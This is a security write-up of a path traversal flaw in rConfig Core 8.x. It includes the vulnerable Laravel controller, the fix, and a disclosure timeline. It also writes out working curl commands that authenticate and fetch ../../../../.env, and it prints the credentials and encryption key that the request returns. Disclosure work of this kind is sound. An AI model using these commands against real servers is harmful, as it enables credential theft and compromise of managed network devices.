CVE-2026-77914: rConfig Core Path Traversal to Full Application Compromise

Introduction

During a security assessment of rConfig Core, a popular network configuration management tool, I discovered a critical path traversal vulnerability that allows any authenticated user - regardless of their role - to read arbitrary files from the server. This includes the application's .env file containing database credentials, API keys, and most critically, the APP_KEY used by Laravel for all cryptographic operations.

In this writeup, I'll walk through the discovery, exploitation, and impact of this vulnerability.

Target Identification

rConfig is an open-source network configuration management tool built on Laravel. It's used by network administrators to backup, compare, and manage configurations across network devices. The application stores SSH/Telnet credentials for managed devices, making it a high-value target.

Affected Versions: rConfig Core 8.0.0 through 8.2.13

The Vulnerability

The vulnerability exists in FileDownloadController.php, specifically in the download_export() method:

public function download_export()
{
    $path = export_path() . $_GET['filename'];
    if (file_exists($path)) {
        // ...
        return response()->download($path);
    }
    // ...
}

The problem is immediately obvious: $_GET['filename'] is concatenated directly onto the base export directory with zero sanitization. No basename(), no path validation, no character filtering - just raw string concatenation.

The route is defined in routes/web.php and is protected only by Laravel's auth middleware, meaning any logged-in user can access it:

Route::get('/download-export', [FileDownloadController::class, 'download_export'])
    ->middleware('auth');

Discovery Process

I found this vulnerability through manual code review. My process was:

1. Map authentication boundaries - Identify which routes are protected and how
2. Find file operations - Search for file_get_contents, readfile, response()->download(), etc.
3. Trace user input - Follow $_GET, $_POST, and $request->input() to sensitive functions
4. Test for insufficient validation - Try path traversal sequences

When I saw $_GET['filename'] being used directly in a file path, I knew I had something interesting.

Exploitation

Step 1: Authenticate as Any User

First, I authenticated as a low-privilege "User" role account - the lowest permission level in rConfig.

# Get CSRF token
curl -s -c cookies.txt http://target/login -o login.html
CSRF=$(grep -oP 'csrf-token.*?content="\K[^"]+' login.html)

# Login
curl -s -c cookies.txt -b cookies.txt \
  -X POST http://target/login \
  -H "X-CSRF-TOKEN: $CSRF" \
  -d "username=lowuser@test.local&password=LowUserPass123!&_token=$CSRF"

Step 2: Read the .env File

With a valid session, I crafted a path traversal payload to read the .env file:

curl -s -b cookies.txt \
  "http://target/download-export?filename=../../../../.env"

Result

APP_NAME="rConfig V8 Core"
APP_ENV=production
APP_KEY=base64:+b63Qv2eYpNbCr/7ltBkgy1oL1hOh1DhxMMMa5BMbZY=
APP_DEBUG=true
APP_URL="http://localhost:8090"

DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=rconfig
DB_USERNAME=rconfig_user
DB_PASSWORD=rconfig_pass

REDIS_HOST=redis
REDIS_PASSWORD=null

The entire .env file was returned, including:

• APP_KEY - Laravel's master encryption key
• Database credentials
• Redis configuration
• Any configured API keys or secrets

Impact Analysis

This vulnerability has severe implications:

1. Cryptographic Key Disclosure

The APP_KEY is used by Laravel's Crypt facade for all encryption operations. rConfig uses this to encrypt stored device credentials via EncryptStringCast. With the APP_KEY, an attacker can:

• Decrypt device credentials - SSH/Telnet passwords stored in the database
• Forge session cookies - Impersonate any user without knowing their password
• Decrypt any encrypted data - Any data encrypted with Laravel's encryption helpers

2. Database Compromise

With DB_USERNAME and DB_PASSWORD, an attacker can directly connect to the database if it's network-accessible, bypassing the application entirely.

3. Arbitrary File Read

The vulnerability isn't limited to .env. An attacker can read:

• Application source code
• Log files (which may contain sensitive data)
• SSH private keys
• Any file readable by the web server user

CVSS Score

CVSS 3.1: 7.1 (High)

Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

The practical impact is higher because disclosed secrets enable further attacks including full application and managed infrastructure compromise.

Remediation

The fix is straightforward - sanitize the filename input:

public function download_export()
{
    // Strip directory components
    $filename = basename((string) $_GET['filename']);
    $path = export_path() . $filename;
    
    // Verify the resolved path is within the allowed directory
    $realPath = realpath($path);
    $allowedDir = realpath(export_path());
    
    if ($realPath === false || !str_starts_with($realPath, $allowedDir)) {
        abort(404);
    }
    
    if (file_exists($path)) {
        return response()->download($path);
    }
    
    abort(404);
}

Additionally:

• Use an allowlist of valid export filenames per user session
• Implement proper RBAC to restrict export access to authorized roles
• Consider using signed URLs for file downloads

Timeline

• 2026-07-31 - Vulnerability discovered
• 2026-08-01 - Reported to rConfig security team
• 2026-08-05 - Vendor acknowledged
• 2026-08-15 - Patch released in version 8.2.14
• 2026-08-20 - CVE-2026-77914 assigned

Conclusion

This vulnerability demonstrates how a single line of code without proper input validation can lead to complete application compromise. The combination of path traversal with Laravel's centralized key management creates a cascading failure - one secret disclosure unlocks everything else.

Always validate and sanitize user input, especially when it's used in file system operations. Use basename() as a first line of defense, but combine it with realpath checks and allowlists for defense in depth.

---

This vulnerability was discovered through ethical security research and responsibly disclosed to the vendor. All testing was performed in isolated lab environments.